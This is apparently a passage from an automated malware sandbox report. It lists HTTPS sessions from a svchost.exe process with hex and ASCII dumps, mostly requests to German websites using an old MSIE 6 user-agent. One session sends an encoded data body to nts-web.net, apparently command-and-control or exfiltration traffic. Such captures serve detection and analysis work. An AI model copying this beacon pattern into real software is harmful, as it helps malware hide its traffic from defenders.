2023-03-10 06:56:25 UTC	1726	IN	Data Raw: 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 63 6c Data Ascii: th,initial-scale=1"> <link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"> </head><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="zone-name-title h1"> <img cl
2023-03-10 06:56:25 UTC	1727	IN	Data Raw: 6e 3d 22 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 62 48 6c 7a 58 37 38 65 36 46 55 6d 52 39 51 53 5f 4d 58 41 52 39 6c 31 46 6a 6f 59 71 5f 43 75 6c 43 4c 63 59 77 55 61 31 68 6f 2d 31 36 37 38 34 33 31 33 38 35 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 50 73 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 20 65 6e 63 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6d 64 22 20 76 61 6c 75 65 3d 22 4a 34 2e 79 7a 5a 5f 56 39 57 35 55 77 78 6d 31 44 39 2e 44 66 37 56 46 5a 45 73 6d 78 45 4b 56 77 4d 74 76 56 4b 78 58 63 52 51 2d 31 36 37 38 34 33 31 33 38 35 2d 30 2d Data Ascii: n="/?__cf_chl_f_tk=bHlzX78e6FUmR9QS_MXAR9l1FjoYq_CulCLcYwUa1ho-1678431385-0-gaNycGzNCPs" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="md" value="J4.yzZ_V9W5Uwxm1D9.Df7VFZEsmxEKVwMtvVKxXcRQ-1678431385-0-
2023-03-10 06:56:25 UTC	1728	IN	Data Raw: 51 4d 71 53 66 6b 7a 79 44 59 76 52 31 36 5a 4c 33 39 38 72 71 36 33 34 79 54 5f 4f 76 47 55 70 37 77 56 52 4f 72 77 73 71 79 77 77 34 6f 78 53 6e 4a 68 48 41 30 59 4a 54 30 33 6a 70 65 48 6e 52 55 45 56 63 57 61 76 50 4a 36 42 47 5a 34 74 36 30 6e 67 39 50 31 6c 6d 49 4f 77 5f 49 6b 7a 45 4b 30 4a 58 72 4c 51 4d 43 79 35 35 52 51 48 6a 70 43 71 7a 49 59 49 6f 73 77 69 75 4b 69 6c 64 78 4a 43 69 77 6d 43 66 36 56 38 6a 54 34 31 73 33 4a 72 59 6f 61 48 66 72 31 44 52 6e 56 61 44 35 41 42 52 2d 74 37 36 79 71 7a 4d 65 4c 6b 45 4c 2d 51 65 34 57 31 4f 69 42 45 33 69 35 4f 69 61 5f 66 48 73 72 4c 54 31 47 68 54 51 49 4f 30 64 66 68 37 52 69 4f 77 47 44 61 2d 42 51 51 53 7a 57 69 6f 36 2d 33 37 37 43 49 45 6b 4f 30 4a 6f 35 38 37 79 61 6d 42 45 66 45 39 73 76 Data Ascii: QMqSfkzyDYvR16ZL398rq634yT_OvGUp7wVROrwsqyww4oxSnJhHA0YJT03jpeHnRUEVcWavPJ6BGZ4t60ng9P1lmIOw_IkzEK0JXrLQMCy55RQHjpCqzIYIoswiuKildxJCiwmCf6V8jT41s3JrYoaHfr1DRnVaD5ABR-t76yqzMeLkEL-Qe4W1OiBE3i5Oia_fHsrLT1GhTQIO0dfh7RiOwGDa-BQQSzWio6-377CIEkO0Jo587yamBEfE9sv
2023-03-10 06:56:25 UTC	1730	IN	Data Raw: 63 35 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 48 61 73 68 3a 20 27 38 62 37 66 65 33 33 33 62 34 34 63 39 31 33 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 62 48 6c 7a 58 37 38 65 36 46 55 6d 52 39 51 53 5f 4d 58 41 52 39 6c 31 46 6a 6f 59 71 5f 43 75 6c 43 4c 63 59 77 55 61 31 68 6f 2d 31 36 37 38 34 33 31 33 38 35 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 50 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 46 50 57 76 3a 20 27 67 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 54 69 6d 65 4d 73 3a 20 27 31 30 30 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 4d 54 69 6d 65 4d 73 3a 20 27 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 70 6c 56 3a 20 34 2c 0a 20 Data Ascii: c5', cHash: '8b7fe333b44c913', cUPMDTk: "\/?__cf_chl_tk=bHlzX78e6FUmR9QS_MXAR9l1FjoYq_CulCLcYwUa1ho-1678431385-0-gaNycGzNCPs", cFPWv: 'g', cTTimeMs: '1000', cMTimeMs: '0', cTplV: 4,
2023-03-10 06:56:25 UTC	1731	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 32 3a 20 27 32 34 6e 74 73 4e 44 71 63 75 55 54 55 4a 67 44 36 6a 31 77 51 67 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7a 68 3a 20 27 64 4c 68 39 34 5a 58 4c 73 4d 61 54 6f 47 44 33 2f 71 39 42 69 75 6d 61 63 36 79 78 51 56 55 5a 34 63 32 6a 74 34 59 4a 6e 61 55 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 68 3a 20 27 66 78 75 35 2f 69 51 76 50 2f 7a 6e 41 4c 39 38 63 46 50 70 7a 30 44 6a 72 6d 45 33 6f 34 34 57 4d 64 5a 72 36 61 5a 51 52 73 51 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 3a 20 27 6a 57 32 78 52 42 73 71 57 31 76 4c 74 75 42 6f 6f 58 39 61 4b 6d 45 44 32 63 5a 68 41 4c 37 73 6b 44 59 49 30 4d 48 64 72 6c 6b 3d 27 2c 0a 20 20 20 20 20 Data Ascii: i2: '24ntsNDqcuUTUJgD6j1wQg==', zh: 'dLh94ZXLsMaToGD3/q9Biumac6yxQVUZ4c2jt4YJnaU=', uh: 'fxu5/iQvP/znAL98cFPpz0DjrmE3o44WMdZr6aZQRsQ=', hh: 'jW2xRBsqW1vLtuBooX9aKmED2cZhAL7skDYI0MHdrlk=',
2023-03-10 06:56:25 UTC	1732	IN	Data Raw: 20 63 70 6f 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 6f 67 55 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 70 6f 29 3b 0a 20 20 20 20 7d 28 29 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 69 6e 66 6f 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c Data Ascii: cpo.onload = function() { history.replaceState(null, null, ogU); }; } document.getElementsByTagName('head')[0].appendChild(cpo); }());</script> <div class="footer" role="contentinfo"> <div cl
2023-03-10 06:56:25 UTC	1733	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.6	61267	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:25 UTC	1724	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-03-10 06:56:25 UTC	1724	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 10 Mar 2023 06:56:25 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:25 UTC	1724	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.6	61281	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:25 UTC	1733	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:25 UTC	1733	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:25 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:25 UTC	1734	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.6	61297	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:25 UTC	1734	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-03-10 06:56:25 UTC	1735	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Mar 2023 06:56:25 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:25 UTC	1735	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.6	52655	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:14 UTC	149	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:14 UTC	159	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:14 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:14 UTC	159	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.6	61361	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:25 UTC	1735	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-03-10 06:56:25 UTC	1736	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Mar 2023 06:56:25 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:25 UTC	1736	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.6	61347	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:25 UTC	1736	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:25 UTC	1742	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:25 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:25 UTC	1742	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.6	61098	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:25 UTC	1736	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net Content-Length: 5076
2023-03-10 06:56:25 UTC	1737	OUT	Data Raw: 7a 4a 55 35 71 70 4f 63 6f 4b 53 6e 71 71 79 76 73 72 57 34 75 37 37 42 78 63 68 6c 51 77 2f 6a 35 33 33 70 4d 6b 58 58 74 5a 4a 62 47 6f 6c 36 69 38 35 37 62 35 31 6a 67 4e 6e 6e 4d 47 49 70 50 2f 42 52 42 4f 73 57 30 75 4b 51 4b 30 4e 5a 32 68 77 58 59 78 6b 76 2f 30 4f 74 4c 4e 48 35 4c 4a 64 43 65 32 71 69 54 4c 30 33 4d 4e 37 49 6a 71 51 4f 47 79 57 38 75 31 58 44 6f 63 4c 74 41 45 44 75 41 4b 73 57 6c 4c 34 32 66 6b 7a 4c 4e 5a 69 66 66 79 30 72 39 53 5a 4d 59 78 77 50 46 49 30 34 6e 69 43 4f 72 43 64 64 6f 44 65 4f 50 6f 78 4e 44 51 74 5a 30 47 2f 57 2f 48 43 6c 4b 74 2f 59 70 6e 6a 6a 64 59 74 61 61 61 59 52 34 68 41 4d 4c 6f 70 70 69 35 48 56 63 74 35 36 51 69 58 48 6c 57 6a 6c 58 61 6e 42 51 37 7a 6e 76 6c 65 63 4d 63 6b 63 6d 79 44 63 74 63 62 Data Ascii: zJU5qpOcoKSnqqyvsrW4u77BxchlQw/j533pMkXXtZJbGol6i857b51jgNnnMGIpP/BRBOsW0uKQK0NZ2hwXYxkv/0OtLNH5LJdCe2qiTL03MN7IjqQOGyW8u1XDocLtAEDuAKsWlL42fkzLNZiffy0r9SZMYxwPFI04niCOrCddoDeOPoxNDQtZ0G/W/HClKt/YpnjjdYtaaaYR4hAMLoppi5HVct56QiXHlWjlXanBQ7znvlecMckcmyDctcb

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.6	61476	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:26 UTC	1743	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:26 UTC	1743	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:26 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:26 UTC	1743	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.6	61615	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:26 UTC	1744	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-03-10 06:56:26 UTC	1744	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:26 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Thu, 02 Mar 2023 15:05:19 GMT Accept-Ranges: bytes Content-Length: 51841 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-03-10 06:56:26 UTC	1744	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
